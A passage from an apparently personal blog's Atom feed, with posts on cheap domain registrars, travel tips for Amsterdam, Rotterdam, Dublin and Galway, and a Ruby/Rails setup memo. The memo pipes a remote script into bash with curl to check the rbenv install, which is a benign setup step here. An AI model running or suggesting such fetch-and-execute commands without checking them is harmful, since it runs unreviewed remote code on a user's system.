&lt;figcaption&gt;View from the tower in Tampere&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;That's it!&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="finland"></category><category term="helsinki"></category><category term="tampere"></category></entry><entry><title>Domain Names</title><link href="https://romainpellerin.eu/domain-names.html" rel="alternate"></link><published>2018-03-23T20:00:00+01:00</published><updated>2018-12-06T17:58:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-03-23:/domain-names.html</id><summary type="html">&lt;p&gt;Where to buy domain names&lt;/p&gt;</summary><content type="html">&lt;p&gt;Short article, kind of a bookmark for myself. I usually buy my domain names from OVH but they're far from being cheap. Today, I was told the following three websites offer much cheaper domain names. What's more, they have a greater choice.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://porkbun.com/"&gt;porkbun.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.namecheap.com/"&gt;www.namecheap.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.internetbs.net/"&gt;www.internetbs.net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://domainr.com/"&gt;domainr.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Computers"></category><category term="dns"></category><category term="domain"></category></entry><entry><title>The Netherlands</title><link href="https://romainpellerin.eu/the-netherlands.html" rel="alternate"></link><published>2018-03-21T23:20:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-03-21:/the-netherlands.html</id><summary type="html">&lt;p&gt;What's so great about the Netherlands&lt;/p&gt;</summary><content type="html">&lt;p&gt;Dear Amsterdam, it's been a long time. Too long, actually. I miss you from the bottom of my heart... ok maybe not that much, but still!&lt;/p&gt;
&lt;p&gt;Joke aside, I lived in Amsterdam for 6 months, from 2015 to 2016. Oh boy did I enjoy the city. I was living the good life doing an underpaid internship but who cares, right?! Since then, I went back to the Netherlands a couple of times. This articles sums up what's so cool about this country and the Dutch people, and why it's a must see for every European out there! However, gouda, tulips, clogs, windmills, etc, all of this is meant for tourists (although their windmills are quite awesome and Gouda is one of my favorite cheeses), so I won't talk about these. This article is mostly about my experience in the Netherlands.&lt;/p&gt;
&lt;h1 id="amsterdam"&gt;Amsterdam&lt;/h1&gt;
&lt;p&gt;The best city of Europe of course! Well, not to everyone but to me at least. Great music venues, great people, shitty weather but awesome canals, boats, and bridges. Also, they've got good beer and probably the coolest bikes on Earth.&lt;/p&gt;
&lt;p&gt;Not everything is great though. Finding an appartment in Amsterdam was a pain in the ass. I ended up renting the creepiest of all kinds when I first got there, a tiny 10 square meter apartment on the last floor, with a broken sink, no stores and a direct access to the roof with no railings whatsover, even though it was a damn 4-story building. Plus the bathroom was on the landing. Fucking &lt;strong&gt;GREAT&lt;/strong&gt;. As you guessed, I did not stay there for long. Shortly after, I found a nice shared house just outside of Amsterdam but easily reachable by metro. Speaking of which, their metro system is really good!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/the-netherlands/room1.jpg" alt="My first room in Amsterdam" /&gt;
&lt;figcaption&gt;My wonderful first room in Amsterdam.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/the-netherlands/room2.jpg" alt="Another view of my room" /&gt;
&lt;figcaption&gt;So big. Great sink.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Alright, what about the people, you may wonder. Well, too many times I've heard that Dutch people no longer lived in Amsterdam and that the streets were filled with stupid tourists and that one could barely hear Dutch in Amsterdam... I've got to say, it's partly true... which means it's partly false. Yeah I agree, too many French tourists only there to smoke weed, too many Brits there on weekends only to get shit-faced. But again, who cares? I like tourists. I like people who travel, no matter their purpose. And I met a shit ton of Dutch people, proud residents of Amsterdam, fully embracing the 21st century and globalization. And it was fucking great!&lt;/p&gt;
&lt;p&gt;The Dutch are overall super friendly and their English is probably the best among non native English speakers in the world. SO FUCKING &lt;strong&gt;CONVENIENT&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Alright, with no further ado, let's see what places are the best in Amsterdam:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Paradiso&lt;/strong&gt;: the best nightclub on Earth. Seriously! The place is an actual abandoned church that was turned into a nightclub. Unique experience inside!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Melkweg&lt;/strong&gt;: another great nightclub.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dam Square&lt;/strong&gt;: the central square of Amsterdam&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bier Fabriek&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href="https://www.meetup.com/Amsterdam-Language-Cafe/?_cookie-check=UBG5G_Y5sCIZoRTT"&gt;Amsterdam Language Cafe&lt;/a&gt;&lt;/strong&gt;: such a great place to meet people, both locals and expats. I met most of my friends there! The guy behind this concept, Koen, is amazing. Go talk to him!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red Light District&lt;/strong&gt; at night&lt;/li&gt;
&lt;li&gt;Ride the &lt;strong&gt;ferry&lt;/strong&gt;! It's fun and free and takes you to the upper Amsterdam in no time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thee Sisters bar&lt;/strong&gt;: my favorite bar in the whole city&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hannekes Boom&lt;/strong&gt;: nice place to chill when the sun is out&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amsterdam Roest&lt;/strong&gt;: same as above&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Coco's Outback&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vondelpark&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rembrandtplein&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;I Amsterdam sign&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Foodhallen&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bloemenmarkt&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Check out one of the numerous &lt;strong&gt;Wok to Walk restaurants&lt;/strong&gt;, it's so good!&lt;/li&gt;
&lt;li&gt;Don't forget to go on a &lt;strong&gt;boat ride&lt;/strong&gt;. It's definitely worth it! You can also rent one privately, it's not that expensive. I remember using &lt;a href="https://sloepdelen.nl/en/"&gt;this service&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Also, consider &lt;strong&gt;renting a bike&lt;/strong&gt; or going on a &lt;strong&gt;free walking tour&lt;/strong&gt; (aka "pay a you wish by tip").&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That's is basically for Amsterdam. Now, let's see some other cities in Holland.&lt;/p&gt;
&lt;h1 id="the-hague"&gt;The Hague&lt;/h1&gt;
&lt;p&gt;Pretty nice city, on the North Sea coast of the Netherlands. Very pleasant, especially in Summer.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go check the beach out!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Westduinpark&lt;/strong&gt;: there's Highland cattle&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;China Town&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="rotterdam"&gt;Rotterdam&lt;/h1&gt;
&lt;p&gt;A city which was bombed almost entirely during WW2, then rebuilt. Its architecture is rather surprising and ultra modern, thus worth seeing.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kijk Kubus&lt;/strong&gt; (The Cube Houses)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Markthal&lt;/strong&gt; (Market Hall): an indoor market with a wide variety of food&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Erasmusbrug&lt;/strong&gt; (Erasmus Bridge)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Willemsbrug&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Go for a walk between the Willemsbrug and Kijk Kubus, by the water&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boompjes Promenade&lt;/strong&gt; (Boompjeskade) up to &lt;strong&gt;De Boeg&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Euromast&lt;/strong&gt;: go to the top! Also, the park nearby is quite nice.&lt;/li&gt;
&lt;li&gt;Go for a walk on &lt;strong&gt;Holland Amerikakade&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fenix Food Factory&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Check out the big statue called &lt;strong&gt;Santa Claus&lt;/strong&gt;, alias Kabouter: big surprise there!&lt;/li&gt;
&lt;li&gt;Take one of the numerous &lt;strong&gt;watertaxis&lt;/strong&gt;, it's a unique experience! What's more, not too pricey!&lt;/li&gt;
&lt;li&gt;They also have &lt;strong&gt;boat tours&lt;/strong&gt;, that take you throughout the gigantic port. Lasts about an hour, maybe two, can't remember. Not to expensive and fun to do. For the one I did, the boarding was right by Erasmus Bridge.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/the-netherlands/rotterdam.jpg" alt="Cube Houses" /&gt;
&lt;figcaption&gt;Cube Houses&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="delft"&gt;Delft&lt;/h1&gt;
&lt;p&gt;Small town yet very nice. My only recommendation is to check out the &lt;strong&gt;Nieuwe Kerk&lt;/strong&gt;, a church, for it is a place of history and the climb to the top is definitely worth the effort. Then, wander around randomly in the streets.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/the-netherlands/delft.jpg" alt="View the top of Delft's church" /&gt;
&lt;figcaption&gt;View from the top of Delft's church&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="utrecht"&gt;Utrecht&lt;/h1&gt;
&lt;p&gt;Probably the city with the most students of the entire country. I've been there once, as far as I remember. Only thing I remember is the Dom Tower, a very impressive tower with a pathway underneath.&lt;/p&gt;
&lt;h1 id="haarlem"&gt;Haarlem&lt;/h1&gt;
&lt;p&gt;Another small town, very close to Amsterdam. Not much to do there except a few old fashion bars and shops, and a nice Mexican restaurant.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it!!! Go to the Netherlands, you won't regret it!&lt;/p&gt;
&lt;p&gt;Let's end this article on a Dutch saying that I like a lot: "&lt;em&gt;Op een oude fiets moet je het leren&lt;/em&gt;" (I ain't gonna translate it, Google it :-) )&lt;/p&gt;
&lt;p&gt;Doei!&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="amsterdam"></category><category term="rotterdam"></category><category term="the hague"></category><category term="delft"></category><category term="haarlem"></category><category term="netherlands"></category><category term="dutch"></category></entry><entry><title>Ruby and Ruby on Rails from scratch</title><link href="https://romainpellerin.eu/ruby-and-ruby-on-rails-from-scratch.html" rel="alternate"></link><published>2018-03-16T23:50:00+01:00</published><updated>2024-07-26T17:26:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-03-16:/ruby-and-ruby-on-rails-from-scratch.html</id><summary type="html">&lt;p&gt;How to learn Ruby and Rails&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today I started learning a new language: Ruby! Coming from a JavaScript world, &lt;a href="http://frontendgods.com/getting-started-with-ruby-for/"&gt;this article&lt;/a&gt; helped me a lot (&lt;a href="https://romainpellerin.eu/extra/javascript-to-ruby.html"&gt;backed-up here, should it ever vanish from the Internet&lt;/a&gt;). In this article, I sum up everything I've learned so far. It's a sort of memo for myself.&lt;/p&gt;
&lt;h1 id="learning-resources"&gt;Learning resources&lt;/h1&gt;
&lt;h2 id="ruby"&gt;Ruby&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://openclassrooms.com/courses/lancez-vous-dans-la-programmation-avec-ruby"&gt;https://openclassrooms.com/courses/lancez-vous-dans-la-programmation-avec-ruby&lt;/a&gt; (French)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tryruby.org"&gt;http://tryruby.org&lt;/a&gt;: awesome interactive tutoral&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rubykoans.com/"&gt;http://rubykoans.com/&lt;/a&gt;: learn by doing TDD (Test-Driven Development): make all tests pass&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="rails"&gt;Rails&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://rubyonrails.org/doctrine/"&gt;http://rubyonrails.org/doctrine/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ideamotive.co/ruby-on-rails-development-guide/?in-2019"&gt;CHOOSING RUBY ON RAILS FOR YOUR NEXT WEB DEVELOPMENT PROJECT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.pluralsight.com/courses/code-school-rails-for-zombies"&gt;Code School: Rails for Zombies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://openclassrooms.com/en/courses/3149156-initiez-vous-a-ruby-on-rails"&gt;Initiez-vous à Ruby on Rails&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://openclassrooms.com/en/courses/3432066-continuez-avec-ruby-on-rails"&gt;Continuez avec Ruby on Rails&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="install"&gt;Install&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/rbenv/rbenv#basic-github-checkout"&gt;Install rbenv&lt;/a&gt;. In short, here is how:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install openssl libicu-dev libssl-dev libreadline-dev zlib1g-dev
git clone https://github.com/rbenv/rbenv.git ~/.rbenv
&lt;span class="nb"&gt;cd&lt;/span&gt; ~/.rbenv &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; src/configure &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; make -C src
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;export PATH=&amp;quot;$HOME/.rbenv/bin:$PATH&amp;quot;&amp;#39;&lt;/span&gt; &amp;gt;&amp;gt; ~/.zshrc
~/.rbenv/bin/rbenv init
&lt;span class="c1"&gt;# Open a new shell&lt;/span&gt;
mkdir -p &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;rbenv root&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;/plugins
git clone https://github.com/rbenv/ruby-build.git &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;rbenv root&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;/plugins/ruby-build
rbenv install &lt;span class="m"&gt;2&lt;/span&gt;.5.0
rbenv global &lt;span class="m"&gt;2&lt;/span&gt;.5.0

&lt;span class="c1"&gt;# Check everything is installed and correctly set up&lt;/span&gt;
curl -fsSL https://github.com/rbenv/rbenv-installer/raw/master/bin/rbenv-doctor &lt;span class="p"&gt;|&lt;/span&gt; bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, add must-have stuff:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gem install bundler

&lt;span class="c1"&gt;# In a fresh new Ruby project folder, create a Gemfile&lt;/span&gt;
rbenv &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;.5.0 &lt;span class="c1"&gt;# Set version 2.5.0 for this project, same as .nvmrc for Node projects&lt;/span&gt;
bundle init
bundle install --path vendor --binstubs bin &lt;span class="c1"&gt;# Set up .bundle config to install packages to the local folder&lt;/span&gt;
&lt;span class="c1"&gt;# Add vendor and .bundle to your .gitignore file&lt;/span&gt;

&lt;span class="c1"&gt;# In a Ruby project folder, install all dependencies&lt;/span&gt;
bundle install &lt;span class="c1"&gt;# or simply `bundle`&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="upgrade-ruby-version"&gt;Upgrade Ruby version&lt;/h1&gt;
&lt;p&gt;Update the version in &lt;code&gt;Gemfile&lt;/code&gt; and &lt;code&gt;.ruby-version&lt;/code&gt;. Then run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="nv"&gt;$HOME&lt;/span&gt;/.rbenv/plugins/ruby-build &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git pull &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; -
rbenv install &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; rbenv rehash
gem install bundler
bundle
rbenv global &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;cat .ruby-version&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="stuff-to-know"&gt;Stuff to know&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;;&lt;/code&gt; is optional&lt;/li&gt;
&lt;li&gt;parentheses optional in &lt;code&gt;if&lt;/code&gt; statements&lt;/li&gt;
&lt;li&gt;&lt;code&gt;==&lt;/code&gt; vs &lt;code&gt;===&lt;/code&gt;: &lt;a href="https://stackoverflow.com/questions/4467538/what-does-the-operator-do-in-ruby"&gt;https://stackoverflow.com/questions/4467538/what-does-the-operator-do-in-ruby&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;puts&lt;/code&gt; (adds new line) vs &lt;code&gt;print&lt;/code&gt; (no new line)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.each do |item| ... end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;10.times do |i| ... end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;if&lt;/code&gt;, &lt;code&gt;elsif&lt;/code&gt;, &lt;code&gt;else&lt;/code&gt;, &lt;code&gt;end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;array = [1,2]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;array[0]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;When you place a colon in front of a simple word, you get a Ruby symbol: &lt;code&gt;:a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hash = {a:1,b:2} # creates symbols :a and :b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hash[:a]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;hash['ok'] = 'yolo' # ok is not a symbol&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;return&lt;/code&gt; statement optional, last line is implicitely returned&lt;/li&gt;
&lt;li&gt;&lt;code&gt;func(a,b)&lt;/code&gt; == &lt;code&gt;func a, b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;obj.func&lt;/code&gt; == &lt;code&gt;obj.func()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;def initialize ... end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@classMemberVariable&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;def func&lt;/code&gt; == &lt;code&gt;def func()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;return true if ....&lt;/code&gt; == &lt;code&gt;if ...&amp;lt;line break&amp;gt;return true&amp;lt;line break&amp;gt;end&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Inheritance: &lt;code&gt;class Child &amp;lt; Mother&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Replace first occurrence in string: &lt;code&gt;string['word'] = 'new word'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ratings = Hash.new(0)&lt;/code&gt;: all new hashes will default to 0 as their value&lt;/li&gt;
&lt;li&gt;&lt;code&gt;do..end&lt;/code&gt; vs curly braces for blocks in Ruby: &lt;a href="https://stackoverflow.com/questions/5587264/do-end-vs-curly-braces-for-blocks-in-ruby"&gt;https://stackoverflow.com/questions/5587264/do-end-vs-curly-braces-for-blocks-in-ruby&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pry&lt;/code&gt;: pauses execution but does not give access to local variables&lt;/li&gt;
&lt;li&gt;&lt;code&gt;binding.pry&lt;/code&gt;: pauses execution, gives access to local variables but also pauses all threads (server and tests for instance)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;whereami&lt;/code&gt; == &lt;code&gt;@&lt;/code&gt; (in binding.pry / pry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;help&lt;/code&gt; (get help in binding.pry /pry)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PRY_RESCUE_RAIL=1 rails test&lt;/code&gt;: runs a test and pauses on falsy assertions&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ranges"&gt;Ranges&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x..y&lt;/code&gt; (y included) vs &lt;code&gt;x...y&lt;/code&gt; (y not included)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="tests"&gt;Tests&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;assert_equal x,y&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;assert_match(/regex/, x)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="resources"&gt;Resources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/1961030/ruby-ampersand-colon-shortcut"&gt;Ruby ampersand colon shortcut&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/14881125/what-does-to-proc-method-mean"&gt;What does to_proc method mean?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sitepoint.com/closures-ruby/"&gt;Closures in Ruby&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/36812647/what-does-ampersand-dot-mean-in-ruby"&gt;What does &amp;amp;. (ampersand dot) mean in Ruby?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.skorks.com/2013/04/ruby-ampersand-parameter-demystified/"&gt;Ruby &amp;amp; (Ampersand) Parameter Demystified&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://robots.thoughtbot.com/ruby-2-keyword-arguments"&gt;Ruby 2 Keyword Arguments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/18289152/what-does-a-double-splat-operator-do"&gt;What does a double * (splat) operator do&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/26938262/what-do-and-mean-in-ruby?utm_medium=organic&amp;amp;utm_source=google_rich_qa&amp;amp;utm_campaign=google_rich_qa"&gt;What do =~ and /\ mean in Ruby?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://simpleror.wordpress.com/2009/03/15/q-q-w-w-x-r-s/"&gt;%Q, %q, %W, %w, %x, %r, %s&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://romainpellerin.eu/ruby-and-ruby-on-rails-from-scratch.html"&gt;Rails Routing from the Outside In&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://infinum.co/the-capsized-eight/multiline-strings-ruby-2-3-0-the-squiggly-heredoc"&gt;Multiline strings in Ruby 2.3 - the squiggly heredoc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.scoutapp.com/articles/2017/01/24/activerecord-includes-vs-joins-vs-preload-vs-eager_load-when-and-where"&gt;Making sense of ActiveRecord joins, includes, preload, and eager_load&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/8198811/whats-the-difference-between-colon-and-fat-arrow"&gt;What's the difference between colon “:” and fat arrow “=&amp;gt;”&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="code"></category><category term="ruby"></category><category term="rails"></category></entry><entry><title>Ireland</title><link href="https://romainpellerin.eu/ireland.html" rel="alternate"></link><published>2018-03-02T23:50:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-03-02:/ireland.html</id><summary type="html">&lt;p&gt;My advice about Ireland&lt;/p&gt;</summary><content type="html">&lt;p&gt;In 2015, I landed in Dublin! Yay! With a friend, we were en route to Galway to visit another friend who was doing a sort of internship there. Roughly, we spent a week in Ireland: from Dublin to Galway and back, we also went to some exotic places such as the Cliffs of Moher or Connemara.&lt;/p&gt;
&lt;p&gt;In this article, I'll walk you through the most iconic places I've been to so that you get the most out of YOUR trip.&lt;/p&gt;
&lt;h1 id="dublin"&gt;Dublin&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;You definitely don't want to miss the Temple Bar district and its iconic pub The Oliver St John Gogarty&lt;/li&gt;
&lt;li&gt;The Barnacles Hostel Dublin on Temple Ln Street is one of the cheapeast you can find in the area, although we did not get to sleep there for it was fully booked&lt;/li&gt;
&lt;li&gt;Trinity College campus is fun for hanging out during the Summer days&lt;/li&gt;
&lt;li&gt;Stephen's Green Shopping Centre&lt;/li&gt;
&lt;li&gt;Shopping streets: Grafton street and Henry streets&lt;/li&gt;
&lt;li&gt;Also don't forget to check out the churches and cathedrals&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Temple Bar district" src="https://romainpellerin.eu/images/temple-bar.jpg"&gt;&lt;/p&gt;
&lt;h1 id="galway"&gt;Galway&lt;/h1&gt;
&lt;p&gt;A beautiful small city on the West coast!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We stayed at the Celtic Tourist Hostel. Highly recommended for their very affordable prices.&lt;/li&gt;
&lt;li&gt;William St and Shop St&lt;/li&gt;
&lt;li&gt;Naming all the pubs I went into would take ages, my recommendation is to check them all in those two above-mentionned streets&lt;/li&gt;
&lt;li&gt;The Galway Cathedral&lt;/li&gt;
&lt;li&gt;I also highly suggest you simply wander in the streets, near the Eglinton canal&lt;/li&gt;
&lt;li&gt;The Long Walk and the Galway City Museum&lt;/li&gt;
&lt;li&gt;The shore and the causeway to Mutton Island&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I am also pretty sure we spent a night at the Barnacles hostel (it's a chain, there's another one in Dublin as I wrote above).&lt;/p&gt;
&lt;h1 id="other-places-ive-been-to"&gt;Other places I've been to&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Connemara: do a bus tour!&lt;/li&gt;
&lt;li&gt;Kylemore Abbey &amp;amp; Victorian Walled Garden (in Connemara)&lt;/li&gt;
&lt;li&gt;Aillwee Cave: after the visit, do climb up the hill, it's fun&lt;/li&gt;
&lt;li&gt;Cliffs of Moher&lt;/li&gt;
&lt;li&gt;The Burren&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As far as I remember, we took a 2-day bus tour that took us to both Connemara (we stopped for a couple of hours at Kylemore Abbey) and Cliffs of Moher (+ the Burren and Aillwee Cave). It's definitely worth your money!&lt;/p&gt;
&lt;h1 id="other-places-to-go-i-wish-i-visited"&gt;Other places to go I wish I visited&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Cork&lt;/li&gt;
&lt;li&gt;Apparently the Guinness Storehouse in Dublin is great&lt;/li&gt;
&lt;li&gt;Aran Islands&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="ireland"></category></entry><entry><title>Belgium</title><link href="https://romainpellerin.eu/belgium.html" rel="alternate"></link><published>2018-03-02T23:00:00+01:00</published><updated>2018-03-02T23:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-03-02:/belgium.html</id><summary type="html">&lt;p&gt;What I know about Belgium and my recommendations&lt;/p&gt;</summary><content type="html">&lt;p&gt;In late 2015 I went for the first time of my life to Belgium... for a very short time, 24 hours actually. The only city I got to see and walk in was Brussels.&lt;/p&gt;
&lt;p&gt;I'll likely update this article in the future when I get the chance to go back to Belgium.&lt;/p&gt;
&lt;p&gt;When I went there, it was shortly after the November 2015 Paris attacks. The police was actively looking for terrorists in Brussels, troops were deployed and basically nobody was out there in the streets. The atmosphere was somehow surreal and very strange. I stayed the night in Brussels and left the city the following morning so my experience is very limited. Yet, here is my advice, for what it's worth.&lt;/p&gt;
&lt;h1 id="brussels"&gt;Brussels&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Go check the Hard Rock cafe out, it's one of the best I've seen in my life. Great stuff inside.&lt;/li&gt;
